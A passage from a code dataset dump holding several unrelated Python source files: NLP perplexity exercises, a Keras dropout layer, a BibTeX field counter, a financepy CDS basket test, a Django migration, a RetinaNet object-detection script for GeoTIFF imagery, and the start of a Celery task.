words[w]/sumWords\n\nprint (words)\n\n\n\nimport math\nPro_sum = 0\nfor w in words:\n Pro_sum += math.log(words[w])\nPro_sum = math.exp(Pro_sum)\nprint('probability(log) = ', Pro_sum)\nperplexity = math.pow(Pro_sum, (-1/sumWords))\nprint ('perplexity = ', perplexity)\n\n\n\n\ndef word_freq_bigram(string):\n text = word_tokenize(string.lower())\n c = Counter(ngrams(text,2))\n return dict(c)\n\n\ndata = \"This is a text, it contains dupes and more dupes and dupes of dupes and lkkk.\"\nwords = word_freq_bigram(data)\nprint('all_words = ', words)\nsumWords1 = sum(words.values()) # sum total words\n\n# calc / print probability of word\nfor w in words:\n print(\"Probability of '{}': {}\".format(w,words[w]/sumWords1))\n\nimport math\nPro_sum = 0\nfor w in words:\n Pro_sum += math.log(words[w])\nPro_sum = math.exp(Pro_sum)\nprint('probability(log) = ', Pro_sum)\nperplexity = math.pow(Pro_sum, (-1/sumWords))\nprint ('perplexity = ', perplexity)\n\n\n\n\n\n\n\n","sub_path":"Ass4 - Aziza Awad.py","file_name":"Ass4 - Aziza Awad.py","file_ext":"py","file_size_in_byte":3342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"106458780","text":"from keras.layers import Dropout\nfrom keras import backend as K\n\n\nclass DynamicDropout(Dropout):\n def __init__(self, rate, *args, is_dynamic=True, **kwargs):\n super(DynamicDropout, self).__init__(rate, *args, **kwargs)\n\n self.is_dynamic = is_dynamic\n if self.is_dynamic:\n self.rate = K.variable(self.rate, name='rate')\n\n self.rate_value = rate\n\n def set_dropout(self, rate):\n K.set_value(self.rate, rate)\n self.rate_value = rate\n\n def call(self, inputs, training=None):\n if 0. < self.rate_value < 1.:\n noise_shape = self._get_noise_shape(inputs)\n\n def dropped_inputs():\n return K.dropout(\n inputs,\n self.rate,\n noise_shape,\n seed=self.seed,\n )\n\n return K.in_train_phase(\n dropped_inputs,\n inputs,\n training=training,\n )\n return inputs\n\n def get_config(self):\n config = {}\n if self.is_dynamic:\n config['rate'] = K.get_value(self.rate)\n\n base_config = super(DynamicDropout, self).get_config()\n print(base_config)\n return {\n **base_config,\n **config,\n }\n","sub_path":"constants/classes/dropout.py","file_name":"dropout.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"170798086","text":"#!/usr/bin/env python\n\nimport sys\nfrom collections import Counter\nimport bibtexparser\n\ndef author(raw):\n result = Counter()\n for group in [a.split(' and ') for a in raw.keys()]:\n for a in group:\n result[a] += 1\n return result\n\ndef show(title, fields):\n prefix = ' ' if title else ''\n if title:\n print(title)\n for f in sorted(fields.keys()):\n print('{}{}: {}'.format(prefix, f, fields[f]))\n\nfilename = sys.argv[1]\nonly = None\nif len(sys.argv) > 2:\n only = sys.argv[2]\n\ntext = open(filename).read()\nbib = bibtexparser.loads(text).entries\nfields = {k: Counter() for k in set().union(*[set(b.keys()) for b in bib])}\nfor b in bib:\n for k in b:\n fields[k][b[k]] += 1\nfields['author'] = author(fields['author'])\n\nif only:\n show(None, fields[only])\nelse:\n for k in sorted(fields.keys()):\n show(k, fields[k])\n","sub_path":"bin/fields.py","file_name":"fields.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"28857594","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jan 13 21:52:16 2019\n\n@author: Dominic O'Kane\n\"\"\"\n\nfrom financepy.finutils.FinTestCases import FinTestCases, globalTestCaseMode\nfrom financepy.products.credit.FinCDSIndexPortfolio import FinCDSIndexPortfolio\nfrom financepy.products.credit.FinCDSBasket import FinCDSBasket\nfrom financepy.products.credit.FinCDS import FinCDS\nfrom financepy.products.libor.FinLiborSwap import FinLiborSwap\nfrom financepy.market.curves.FinLiborCurve import FinLiborCurve\nfrom financepy.market.curves.FinCDSCurve import FinCDSCurve\nfrom financepy.finutils.FinFrequency import FinFrequencyTypes\nfrom financepy.finutils.FinDayCount import FinDayCountTypes\nfrom financepy.finutils.FinMath import corrMatrixGenerator\nfrom financepy.finutils.FinDate import FinDate\nimport time\nimport numpy as np\nfrom os.path import dirname, join\nimport sys\nsys.path.append(\"..//..\")\n\n\ntestCases = FinTestCases(__file__, globalTestCaseMode)\n\n##########################################################################\n# TO DO\n##########################################################################\n\n\ndef buildLiborCurve(tradeDate):\n\n valuationDate = tradeDate.addDays(1)\n dcType = FinDayCountTypes.ACT_360\n\n depos = []\n fras = []\n swaps = []\n\n dcType = FinDayCountTypes.THIRTY_E_360_ISDA\n fixedFreq = FinFrequencyTypes.SEMI_ANNUAL\n settlementDate = valuationDate\n\n maturityDate = settlementDate.addMonths(12)\n swap1 = FinLiborSwap(\n settlementDate,\n maturityDate,\n 0.0502,\n fixedFreq,\n dcType)\n swaps.append(swap1)\n\n maturityDate = settlementDate.addMonths(24)\n swap2 = FinLiborSwap(\n settlementDate,\n maturityDate,\n 0.0502,\n fixedFreq,\n dcType)\n swaps.append(swap2)\n\n maturityDate = settlementDate.addMonths(36)\n swap3 = FinLiborSwap(\n settlementDate,\n maturityDate,\n 0.0501,\n fixedFreq,\n dcType)\n swaps.append(swap3)\n\n maturityDate = settlementDate.addMonths(48)\n swap4 = FinLiborSwap(\n settlementDate,\n maturityDate,\n 0.0502,\n fixedFreq,\n dcType)\n swaps.append(swap4)\n\n maturityDate = settlementDate.addMonths(60)\n swap5 = FinLiborSwap(\n settlementDate,\n maturityDate,\n 0.0501,\n fixedFreq,\n dcType)\n swaps.append(swap5)\n\n liborCurve = FinLiborCurve(\n \"USD_LIBOR\", settlementDate, depos, fras, swaps)\n\n return liborCurve\n\n##########################################################################\n\n\ndef loadHomogeneousSpreadCurves(valuationDate,\n liborCurve,\n cdsSpread3Y,\n cdsSpread5Y,\n cdsSpread7Y,\n cdsSpread10Y,\n numCredits):\n\n maturity3Y = valuationDate.nextCDSDate(36)\n maturity5Y = valuationDate.nextCDSDate(60)\n maturity7Y = valuationDate.nextCDSDate(84)\n maturity10Y = valuationDate.nextCDSDate(120)\n\n recoveryRate = 0.40\n\n cds3Y = FinCDS(valuationDate, maturity3Y, cdsSpread3Y)\n cds5Y = FinCDS(valuationDate, maturity5Y, cdsSpread5Y)\n cds7Y = FinCDS(valuationDate, maturity7Y, cdsSpread7Y)\n cds10Y = FinCDS(valuationDate, maturity10Y, cdsSpread10Y)\n\n contracts = [cds3Y, cds5Y, cds7Y, cds10Y]\n\n issuerCurve = FinCDSCurve(valuationDate,\n contracts,\n liborCurve,\n recoveryRate)\n\n issuerCurves = []\n for iCredit in range(0, numCredits):\n issuerCurves.append(issuerCurve)\n\n return issuerCurves\n\n##########################################################################\n\n\ndef loadHeterogeneousSpreadCurves(valuationDate, liborCurve):\n\n maturity3Y = valuationDate.nextCDSDate(36)\n maturity5Y = valuationDate.nextCDSDate(60)\n maturity7Y = valuationDate.nextCDSDate(84)\n maturity10Y = valuationDate.nextCDSDate(120)\n\n path = dirname(__file__)\n filename = \"CDX_NA_IG_S7_SPREADS.csv\"\n full_filename_path = join(path, \"data\", filename)\n f = open(full_filename_path, 'r')\n\n data = f.readlines()\n issuerCurves = []\n\n for row in data[1:]:\n\n splitRow = row.split(\",\")\n spd3Y = float(splitRow[1]) / 10000.0\n spd5Y = float(splitRow[2]) / 10000.0\n spd7Y = float(splitRow[3]) / 10000.0\n spd10Y = float(splitRow[4]) / 10000.0\n recoveryRate = float(splitRow[5])\n\n cds3Y = FinCDS(valuationDate, maturity3Y, spd3Y)\n cds5Y = FinCDS(valuationDate, maturity5Y, spd5Y)\n cds7Y = FinCDS(valuationDate, maturity7Y, spd7Y)\n cds10Y = FinCDS(valuationDate, maturity10Y, spd10Y)\n cdsContracts = [cds3Y, cds5Y, cds7Y, cds10Y]\n\n issuerCurve = FinCDSCurve(valuationDate,\n cdsContracts,\n liborCurve,\n recoveryRate)\n\n issuerCurves.append(issuerCurve)\n\n return issuerCurves\n\n##########################################################################\n\n\ndef test_FinCDSBasket():\n\n tradeDate = FinDate(2007, 3, 1)\n stepInDate = tradeDate.addDays(1)\n valuationDate = tradeDate.addDays(1)\n\n liborCurve = buildLiborCurve(tradeDate)\n\n basketMaturity = FinDate(2011, 12, 20)\n\n cdsIndex = FinCDSIndexPortfolio()\n\n##########################################################################\n\n testCases.banner(\n \"===================================================================\")\n testCases.banner(\n \"====================== INHOMOGENEOUS CURVE ==========================\")\n testCases.banner(\n \"===================================================================\")\n\n numCredits = 5\n spd3Y = 0.0012\n spd5Y = 0.0025\n spd7Y = 0.0034\n spd10Y = 0.0046\n\n testCases.header(\"LABELS\", \"VALUE\")\n\n if 1 == 0:\n issuerCurves = loadHomogeneousSpreadCurves(valuationDate,\n liborCurve,\n spd3Y,\n spd5Y,\n spd7Y,\n spd10Y,\n numCredits)\n else:\n issuerCurves = loadHeterogeneousSpreadCurves(valuationDate, liborCurve)\n issuerCurves = issuerCurves[0:numCredits]\n\n intrinsicSpd = cdsIndex.intrinsicSpread(valuationDate,\n stepInDate,\n basketMaturity,\n issuerCurves) * 10000.0\n\n testCases.print(\"INTRINSIC SPD BASKET MATURITY\", intrinsicSpd)\n\n totalSpd = cdsIndex.totalSpread(valuationDate,\n stepInDate,\n basketMaturity,\n issuerCurves) * 10000.0\n\n testCases.print(\"SUMMED UP SPD BASKET MATURITY\", totalSpd)\n\n minSpd = cdsIndex.minSpread(valuationDate,\n stepInDate,\n basketMaturity,\n issuerCurves) * 10000.0\n\n testCases.print(\"MINIMUM SPD BASKET MATURITY\", minSpd)\n\n maxSpd = cdsIndex.maxSpread(valuationDate,\n stepInDate,\n basketMaturity,\n issuerCurves) * 10000.0\n\n testCases.print(\"MAXIMUM SPD BASKET MATURITY\", maxSpd)\n\n seed = 1967\n basket = FinCDSBasket(valuationDate,\n basketMaturity)\n\n testCases.banner(\n \"===================================================================\")\n testCases.banner(\n \"======================= GAUSSIAN COPULA ===========================\")\n testCases.banner(\n \"===================================================================\")\n\n testCases.header(\"TIME\", \"Trials\", \"RHO\", \"NTD\", \"SPRD\", \"SPRD_HOMO\")\n\n for ntd in range(1, numCredits + 1):\n for beta in [0.0, 0.5]:\n rho = beta * beta\n betaVector = np.ones(numCredits) * beta\n corrMatrix = corrMatrixGenerator(rho, numCredits)\n for numTrials in [1000]: # [1000,5000,10000,20000,50000,100000]:\n start = time.time()\n\n v1 = basket.valueGaussian_MC(valuationDate,\n ntd,\n issuerCurves,\n corrMatrix,\n liborCurve,\n numTrials,\n seed)\n\n v2 = basket.value1FGaussian_Homo(valuationDate,\n ntd,\n issuerCurves,\n betaVector,\n liborCurve)\n\n end = time.time()\n period = (end - start)\n testCases.print(\n period,\n numTrials,\n rho,\n ntd,\n v1[2] * 10000,\n v2[3] * 10000)\n\n testCases.banner(\n \"===================================================================\")\n testCases.banner(\n \"==================== STUDENT'S-T CONVERGENCE ======================\")\n testCases.banner(\n \"===================================================================\")\n\n testCases.header(\"TIME\", \"TRIALS\", \"RHO\", \"DOF\", \"NTD\", \"SPRD\")\n\n for beta in [0.0, 0.5]:\n rho = beta ** 2\n corrMatrix = corrMatrixGenerator(rho, numCredits)\n for ntd in range(1, numCredits + 1):\n for doF in [3, 10]:\n start = time.time()\n\n v = basket.valueStudentT_MC(valuationDate,\n ntd,\n issuerCurves,\n corrMatrix,\n doF,\n liborCurve,\n numTrials,\n seed)\n\n end = time.time()\n period = (end - start)\n testCases.print(period, numTrials, rho, doF, ntd, v[2] * 10000)\n\n start = time.time()\n v = basket.valueGaussian_MC(\n valuationDate,\n ntd,\n issuerCurves,\n corrMatrix,\n liborCurve,\n numTrials,\n seed)\n end = time.time()\n period = (end - start)\n\n testCases.print(period, numTrials, rho, \"GC\", ntd, v[2] * 10000)\n\n testCases.banner(\n \"===================================================================\")\n testCases.banner(\n \"=================== STUDENT'S T WITH DOF = 5 ======================\")\n testCases.banner(\n \"===================================================================\")\n doF = 5\n testCases.header(\"TIME\", \"NUMTRIALS\", \"RHO\", \"NTD\", \"SPD\")\n for beta in [0.0, 0.5]:\n rho = beta ** 2\n corrMatrix = corrMatrixGenerator(rho, numCredits)\n for ntd in range(1, numCredits + 1):\n for numTrials in [1000]:\n start = time.time()\n\n v = basket.valueStudentT_MC(valuationDate,\n ntd,\n issuerCurves,\n corrMatrix,\n doF,\n liborCurve,\n numTrials,\n seed)\n end = time.time()\n period = (end - start)\n testCases.print(period, numTrials, rho, ntd, v[2] * 10000)\n\n##########################################################################\n\n\ntest_FinCDSBasket()\ntestCases.compareTestCases()\n","sub_path":"financepy/tests/TestFinCDSBasket.py","file_name":"TestFinCDSBasket.py","file_ext":"py","file_size_in_byte":12297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"636128439","text":"# Filename : SocialRandomPolicy.py\n# Date : 2019/11/12 22.58\n# Project: Social Influence\n# Author : Stefano Valladares\n\nimport random\n\nimport numpy as np\n\n\nclass SocialRandomPolicy:\n\n def __init__(self, network, budget, mc):\n self.opt_seeds = {}\n\n def run_policy(self, network, budget, mc):\n influence_spread = 0\n\n rnd_node = self.select_rnd(network, self.opt_seeds.values())\n act_probs = mc.run(list(self.opt_seeds.keys()) + [rnd_node])\n self.opt_seeds[rnd_node] = network.nodes[rnd_node]['cost']\n influence_spread = np.sum(act_probs) / network.nodes[rnd_node]['cost']\n\n return self.opt_seeds, influence_spread\n\n def select_rnd(self, network, opt_seeds):\n while True:\n rnd_node = random.randint(0, network.number_of_nodes() - 1)\n if rnd_node not in opt_seeds:\n return rnd_node\n","sub_path":"Implementation/Policies/SocialRandomPolicy.py","file_name":"SocialRandomPolicy.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"336214044","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Employer',\n fields=[\n ('id', models.AutoField(serialize=False, verbose_name='ID', primary_key=True, auto_created=True)),\n ('name', models.CharField(max_length=50, verbose_name='name')),\n ('employee', models.ForeignKey(related_name='time_clock_employers', to=settings.AUTH_USER_MODEL, verbose_name='employee')),\n ],\n options={\n 'verbose_name': 'employer',\n 'verbose_name_plural': 'employers',\n },\n ),\n migrations.CreateModel(\n name='TimeClockProfile',\n fields=[\n ('id', models.AutoField(serialize=False, verbose_name='ID', primary_key=True, auto_created=True)),\n ('current_start', models.DateTimeField(null=True, blank=True, verbose_name='start of current work period')),\n ('current_employer', models.ForeignKey(blank=True, to='timeclock.Employer', verbose_name='employer of current work period', null=True)),\n ('user', models.OneToOneField(related_name='time_clock_profile', to=settings.AUTH_USER_MODEL, verbose_name='user')),\n ],\n options={\n 'verbose_name': 'time clock profile',\n 'verbose_name_plural': 'time clock profiles',\n },\n ),\n migrations.CreateModel(\n name='WorkPeriod',\n fields=[\n ('id', models.AutoField(serialize=False, verbose_name='ID', primary_key=True, auto_created=True)),\n ('start', models.DateTimeField(verbose_name='start of the work period')),\n ('end', models.DateTimeField(verbose_name='end of the work period')),\n ('employee', models.ForeignKey(related_name='time_clock_work_periods', to=settings.AUTH_USER_MODEL, verbose_name='employee')),\n ('employer', models.ForeignKey(to='timeclock.Employer', verbose_name='employer of the work period')),\n ],\n options={\n 'verbose_name': 'work period',\n 'verbose_name_plural': 'work periods',\n },\n ),\n migrations.AlterUniqueTogether(\n name='employer',\n unique_together=set([('employee', 'name')]),\n ),\n ]\n","sub_path":"migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":2610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"505692133","text":"import torch\nimport numpy as np\nimport time\nimport os\nimport csv\nimport cv2\nimport argparse\n\nimport glob\nimport os\nimport warnings\n\nimport cv2\nimport geopandas as gpd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport rasterio\nimport torch\nimport torchvision.transforms as T\nfrom lib.BoundingBox import BoundingBox\nfrom lib.BoundingBoxes import BoundingBoxes\nfrom lib.Evaluator import *\nfrom lib.utils import *\nfrom natsort import natsorted\nfrom shapely.geometry import Point, Polygon\nfrom tqdm import tqdm\n\ndef load_classes(csv_reader):\n result = {}\n\n for line, row in enumerate(csv_reader):\n line += 1\n\n try:\n class_name, class_id = row\n except ValueError:\n raise(ValueError('line {}: format should be \\'class_name,class_id\\''.format(line)))\n class_id = int(class_id)\n\n if class_name in result:\n raise ValueError('line {}: duplicate class name: \\'{}\\''.format(line, class_name))\n result[class_name] = class_id\n return result\n\n\n# Draws a caption above the box in an image\ndef draw_caption(image, box, caption):\n b = np.array(box).astype(int)\n cv2.putText(image, caption, (b[0], b[1] - 10), cv2.FONT_HERSHEY_PLAIN, 1, (0, 0, 0), 2)\n cv2.putText(image, caption, (b[0], b[1] - 10), cv2.FONT_HERSHEY_PLAIN, 1, (255, 255, 255), 1)\n\n\ndef detect_image(image_path, model_path, class_list):\n\n with open(class_list, 'r') as f:\n classes = load_classes(csv.reader(f, delimiter=','))\n\n labels = {}\n for key, value in classes.items():\n labels[value] = key\n\n model = torch.load(model_path)\n\n if torch.cuda.is_available():\n model = model.cuda()\n\n model.training = False\n model.eval()\n\n for img_name in os.listdir(image_path):\n\n image = cv2.imread(os.path.join(image_path, img_name))\n if image is None:\n continue\n image_orig = image.copy()\n\n rows, cols, cns = image.shape\n\n smallest_side = min(rows, cols)\n\n # rescale the image so the smallest side is min_side\n min_side = 608\n max_side = 1024\n scale = min_side / smallest_side\n\n # check if the largest side is now greater than max_side, which can happen\n # when images have a large aspect ratio\n largest_side = max(rows, cols)\n\n if largest_side * scale > max_side:\n scale = max_side / largest_side\n\n # resize the image with the computed scale\n image = cv2.resize(image, (int(round(cols * scale)), int(round((rows * scale)))))\n rows, cols, cns = image.shape\n\n pad_w = 32 - rows % 32\n pad_h = 32 - cols % 32\n\n new_image = np.zeros((rows + pad_w, cols + pad_h, cns)).astype(np.float32)\n new_image[:rows, :cols, :] = image.astype(np.float32)\n image = new_image.astype(np.float32)\n image /= 255\n image -= [0.485, 0.456, 0.406]\n image /= [0.229, 0.224, 0.225]\n image = np.expand_dims(image, 0)\n image = np.transpose(image, (0, 3, 1, 2))\n\n with torch.no_grad():\n\n image = torch.from_numpy(image)\n if torch.cuda.is_available():\n image = image.cuda()\n\n st = time.time()\n print(image.shape, image_orig.shape, scale)\n scores, classification, transformed_anchors = model(image.cuda().float())\n print('Elapsed time: {}'.format(time.time() - st))\n idxs = np.where(scores.cpu() > 0.5)\n\n for j in range(idxs[0].shape[0]):\n bbox = transformed_anchors[idxs[0][j], :]\n\n x1 = int(bbox[0] / scale)\n y1 = int(bbox[1] / scale)\n x2 = int(bbox[2] / scale)\n y2 = int(bbox[3] / scale)\n label_name = labels[int(classification[idxs[0][j]])]\n print(bbox, classification.shape)\n score = scores[j]\n caption = '{} {:.3f}'.format(label_name, score)\n # draw_caption(img, (x1, y1, x2, y2), label_name)\n draw_caption(image_orig, (x1, y1, x2, y2), caption)\n cv2.rectangle(image_orig, (x1, y1), (x2, y2), color=(0, 0, 255), thickness=2)\n cv2.imwrite(\"./result/{}\".format(img_name), image_orig)\n # cv2.imshow\n\ndef get_prediction(model, img_arr, labels, confidence):\n \"\"\"\n get_prediction\n parameters:\n - img_path - path of the input image\n - confidence - threshold value for prediction score\n method:\n - Image is obtained from the image path\n - the image is converted to image tensor using PyTorch's Transforms\n - image is passed through the model to get the predictions\n - class, box coordinates are obtained, but only prediction score > threshold\n are chosen.\n \n \"\"\"\n # image = cv2.imread(os.path.join(image_path, img_name))\n # if image is None:\n # continue\n image_orig = img_arr.copy()\n\n rows, cols, cns = img_arr.shape\n\n smallest_side = min(rows, cols)\n\n # rescale the image so the smallest side is min_side\n min_side = 608\n max_side = 1024\n scale = min_side / smallest_side\n\n # check if the largest side is now greater than max_side, which can happen\n # when images have a large aspect ratio\n largest_side = max(rows, cols)\n\n if largest_side * scale > max_side:\n scale = max_side / largest_side\n # import ipdb; ipdb.set_trace()\n # resize the image with the computed scale\n img_arr = cv2.resize(img_arr, (int(round(cols * scale)), int(round((rows * scale)))))\n rows, cols, cns = img_arr.shape\n\n pad_w = 32 - rows % 32\n pad_h = 32 - cols % 32\n\n new_image = np.zeros((rows + pad_w, cols + pad_h, cns)).astype(np.float32)\n new_image[:rows, :cols, :] = img_arr.astype(np.float32)\n image = new_image.astype(np.float32)\n image /= 255\n image -= [0.485, 0.456, 0.406]\n image /= [0.229, 0.224, 0.225]\n image = np.expand_dims(image, 0)\n image = np.transpose(image, (0, 3, 1, 2))\n\n\n with torch.no_grad():\n\n image = torch.from_numpy(image)\n if torch.cuda.is_available():\n image = image.cuda()\n\n st = time.time()\n # print(image.shape, image_orig.shape, scale)\n scores, classification, transformed_anchors = model(image.cuda().float())\n # print('Elapsed time: {}'.format(time.time() - st))\n idxs = np.where(scores.cpu() > 0.5)\n # print([np.expand_dims(transformed_anchors[:,i], axis=1) for i in range(transformed_anchors.shape[1])])\n # import ipdb; ipdb.set_trace()\n # pred_score = scores.detach().cpu().numpy())\n idxs_max = idxs[0].shape[0]\n if idxs_max == 0:\n return None\n pred_boxes = transformed_anchors[:idxs_max].detach().cpu().numpy()/scale\n pred_class = [labels[i] for i in classification[:idxs_max].detach().cpu().numpy()]\n pred_score = scores[:idxs_max].detach().cpu().numpy()\n x1_lst, y1_lst, x2_lst, y2_lst = [np.expand_dims(pred_boxes[:,i], axis=1) for i in range(pred_boxes.shape[1])] \n image_detections = np.concatenate([\n x1_lst, y1_lst, x2_lst, y2_lst,\n np.expand_dims(pred_score, axis=1),\n np.expand_dims(pred_class, axis=1)\n ], axis=1)\n \n df = pd.DataFrame(image_detections,\n columns=[\"xmin\", \"ymin\", \"xmax\", \"ymax\", \"score\", \"label\"])\n return df\n\n\n # pred_t = [scores.index(x) for x in pred_score if x>confidence]\n # for j in range(idxs[0].shape[0]):\n # bbox = transformed_anchors[idxs[0][j], :]\n\n # x1 = int(bbox[0] / scale)\n # y1 = int(bbox[1] / scale)\n # x2 = int(bbox[2] / scale)\n # y2 = int(bbox[3] / scale)\n # label_name = labels[int(classification[idxs[0][j]])]\n # # print(bbox, classification.shape)\n # score = scores[j]\n\n # pred_class = [CLASS_NAMES[i] for i in list(pred[0]['labels'].cpu().numpy())]\n # pred_boxes = pred[0]['boxes'].detach().cpu().numpy()\n # # pred_boxes = [[(i[0], i[1]), (i[2], i[3])] for i in list(pred[0]['boxes'].detach().cpu().numpy())]\n # pred_score = list(pred[0]['scores'].detach().cpu().numpy())\n\n # pred_t = [pred_score.index(x) for x in pred_score if x>confidence]\n # if len(pred_t) == 0:\n # return None\n # pred_t = pred_t[-1]\n # pred_boxes = pred_boxes[:pred_t+1]\n # pred_class = pred_class[:pred_t+1]\n # pred_score = pred_score[:pred_t+1]\n\n\n # # x1_lst, y1_lst, x2_lst, y2_lst = [np.expand_dims(pred[0]['boxes'].detach().cpu().numpy()[:,i], axis=1) for i in range(pred[0]['boxes'].detach().cpu().numpy().shape[1])] \n # x1_lst, y1_lst, x2_lst, y2_lst = [np.expand_dims(pred_boxes[:,i], axis=1) for i in range(pred_boxes.shape[1])] \n # # import ipdb; ipdb.set_trace()\n # image_detections = np.concatenate([\n # x1_lst, y1_lst, x2_lst, y2_lst,\n # np.expand_dims(pred_score, axis=1),\n # np.expand_dims(pred_class, axis=1)\n # ], axis=1)\n \n # df = pd.DataFrame(image_detections,\n # columns=[\"xmin\", \"ymin\", \"xmax\", \"ymax\", \"score\", \"label\"])\n # # import ipdb; ipdb.set_trace()\n # return df #pred_boxes, pred_class, pred_score\n \n\ndef process_one_image(img_path, shfPath, evaluate, model_path, class_list):\n\n \n with open(class_list, 'r') as f:\n classes = load_classes(csv.reader(f, delimiter=','))\n\n labels = {}\n for key, value in classes.items():\n labels[value] = key\n #init model\n model = torch.load(model_path)\n\n if torch.cuda.is_available():\n model = model.cuda()\n\n model.training = False\n model.eval()\n\n\n\n big_image_name = img_path.split(\"/\")[-1].split(\"_\")[-3]\n idx_img = img_path.split(\"/\")[-1][:-4][-1]\n dataset = rasterio.open(img_path)\n with rasterio.open(img_path, 'r') as ds:\n arr = ds.read() # read all raster values\n # read shapefile\n polygons = gpd.read_file(shfPath)\n print(dataset.height,dataset.width,dataset.transform,dataset.crs)\n\n #convert to 3d axis for process\n rgb1= np.rollaxis(arr, 0,3) \n # print(rgb1.shape)\n # img_h, img_w, _ = rgb1.shape\n windows = compute_windows(rgb1, 256, 0.5) \n # Save images to tmpdir\n predicted_boxes = []\n\n for index, window in enumerate(tqdm(windows)):\n # Crop window and predict\n crop = rgb1[windows[index].indices()]\n # import ipdb; ipdb.set_trace()\n # # Crop is RGB channel order, change to BGR\n # crop = crop[..., ::-1]\n crop = cv2.cvtColor(crop, cv2.COLOR_RGB2BGR)\n # pred_img1 = get_prediction(model, crop, confidence=0.7)\n boxes = get_prediction(model, crop, labels, confidence=0.7)\n if boxes is None:\n continue\n boxes['xmin'] = pd.to_numeric(boxes['xmin'])\n boxes['ymin'] = pd.to_numeric(boxes['ymin'])\n boxes['xmax'] = pd.to_numeric(boxes['xmax'])\n boxes['ymax'] = pd.to_numeric(boxes['ymax'])\n\n # transform coordinates to original system\n xmin, ymin, w, h = windows[index].getRect() #(x,y,w,h)\n boxes.xmin = boxes.xmin + xmin\n boxes.xmax = boxes.xmax + xmin\n boxes.ymin = boxes.ymin + ymin\n boxes.ymax = boxes.ymax + ymin\n\n predicted_boxes.append(boxes)\n # if index == 3: #break to test some first images\n # break\n \n\n predicted_boxes = pd.concat(predicted_boxes)\n # Apply NMS \n with tf.compat.v1.Session() as sess:\n print(\n \"{} predictions in overlapping windows, applying non-max supression\". \\\n format(predicted_boxes.shape[0]))\n new_boxes, new_scores, new_labels = non_max_suppression(\n sess,\n predicted_boxes[[\"xmin\", \"ymin\", \"xmax\", \"ymax\"]].values,\n predicted_boxes.score.values,\n predicted_boxes.label.values,\n max_output_size=predicted_boxes.shape[0],\n iou_threshold=0.5)\n # import ipdb; ipdb.set_trace()\n\n # Recreate box dataframe\n image_detections = np.concatenate([\n new_boxes,\n np.expand_dims(new_scores, axis=1),\n np.expand_dims(new_labels, axis=1)\n ], axis=1)\n\n df = pd.DataFrame(\n image_detections,\n columns=[\"xmin\", \"ymin\", \"xmax\", \"ymax\", \"score\", \"label\"])\n # import ipdb; ipdb.set_trace()\n # df.label = df.label.str.decode(\"utf-8\")\n if evaluate:\n # calcualte precision, recall for ground truths and predict bbox\n allBoundingBoxes = get_ground_truths_bbox(img_path, shfPath)\n for ele in tqdm(df.values.tolist()):\n bb = BoundingBox(\n img_path.split(\"/\")[-1][:-4],\n ele[5].decode(), # label\n ele[0], # x_min\n ele[1], # y_min\n ele[2], # x_max\n ele[3], # y_max\n CoordinatesType.Absolute, None,\n BBType.Detected,\n float(ele[4]), # confidence\n format=BBFormat.XYX2Y2)\n allBoundingBoxes.addBoundingBox(bb)\n \n evaluator = Evaluator()\n metricsPerClass = evaluator.GetPascalVOCMetrics(\n allBoundingBoxes, # Object containing all bounding boxes (ground truths and detections)\n IOUThreshold=0.5, # IOU threshold\n method=MethodAveragePrecision.EveryPointInterpolation) # As the official matlab code\n print(\"Precision values per class:\\n\")\n # Loop through classes to obtain their metrics\n for mc in metricsPerClass:\n # Get metric values per each class\n c = mc['class']\n precision = mc['precision']\n recall = mc['recall']\n average_precision = mc['AP']\n total_TP = mc['total TP']\n total_FP = mc['total FP']\n total_groundTruths = mc['total positives']\n # Print AP per class\n print(\"Precision: {}: {}\".format(c, total_TP/(total_TP + total_FP)))\n print('Recall: {}: {}'.format(c, total_TP/total_groundTruths))\n\n df['geometry'] = df.apply(lambda x: convert_xy_tif(x, dataset), axis=1)\n df_res = gpd.GeoDataFrame(df[[\"xmin\", \"ymin\", \"xmax\", \"ymax\",\"geometry\"]], geometry='geometry')\n # import ipdb; ipdb.set_trace()\n df_res.to_file('./demo/output_pred/with_shapely_pred.shp', driver='ESRI Shapefile')\n print(\"-----------Done--------------\")\n # import ipdb; ipdb.set_trace()\n\n\n\nif __name__ == '__main__':\n if not os.path.exists('./result'):\n os.makedirs('./result')\n\n parser = argparse.ArgumentParser(description='Simple script for visualizing result of training.')\n\n parser.add_argument('--image_dir', default = \"./dataset/testfol1\", help='Path to directory containing images')\n parser.add_argument('--model_path', default=\"./csv_retinanet_10.pt\", help='Path to model')\n parser.add_argument('--class_list', default = \"./dataset/classes.csv\", help='Path to CSV file listing class names (see README)')\n parser.add_argument(\"--image_path\", type=str, help=\"Path to tif image\")\n parser.add_argument(\"--shapefile_path\", type=str, help=\"Path to shapefile coresponding the input image\")\n parser.add_argument(\"--evaluate\", type=bool, help=\"evaluate the testing image of your model with the shapefile path\")\n parser = parser.parse_args()\n\n # detect_image(parser.image_dir, parser.model_path, parser.class_list)\n process_one_image(parser.image_path, parser.shapefile_path, parser.evaluate, parser.model_path, parser.class_list)\n","sub_path":"demo/visualize_single_image1.py","file_name":"visualize_single_image1.py","file_ext":"py","file_size_in_byte":15525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"356467885","text":"import subprocess\n\nfrom mysite.celery import app\n\n\n@app.task()\ndef get_task():\n return 'task...'\n\n\n@app.task()\ndef async_crawl_smzdm():\n \"\"\"定时运行 Scrapy 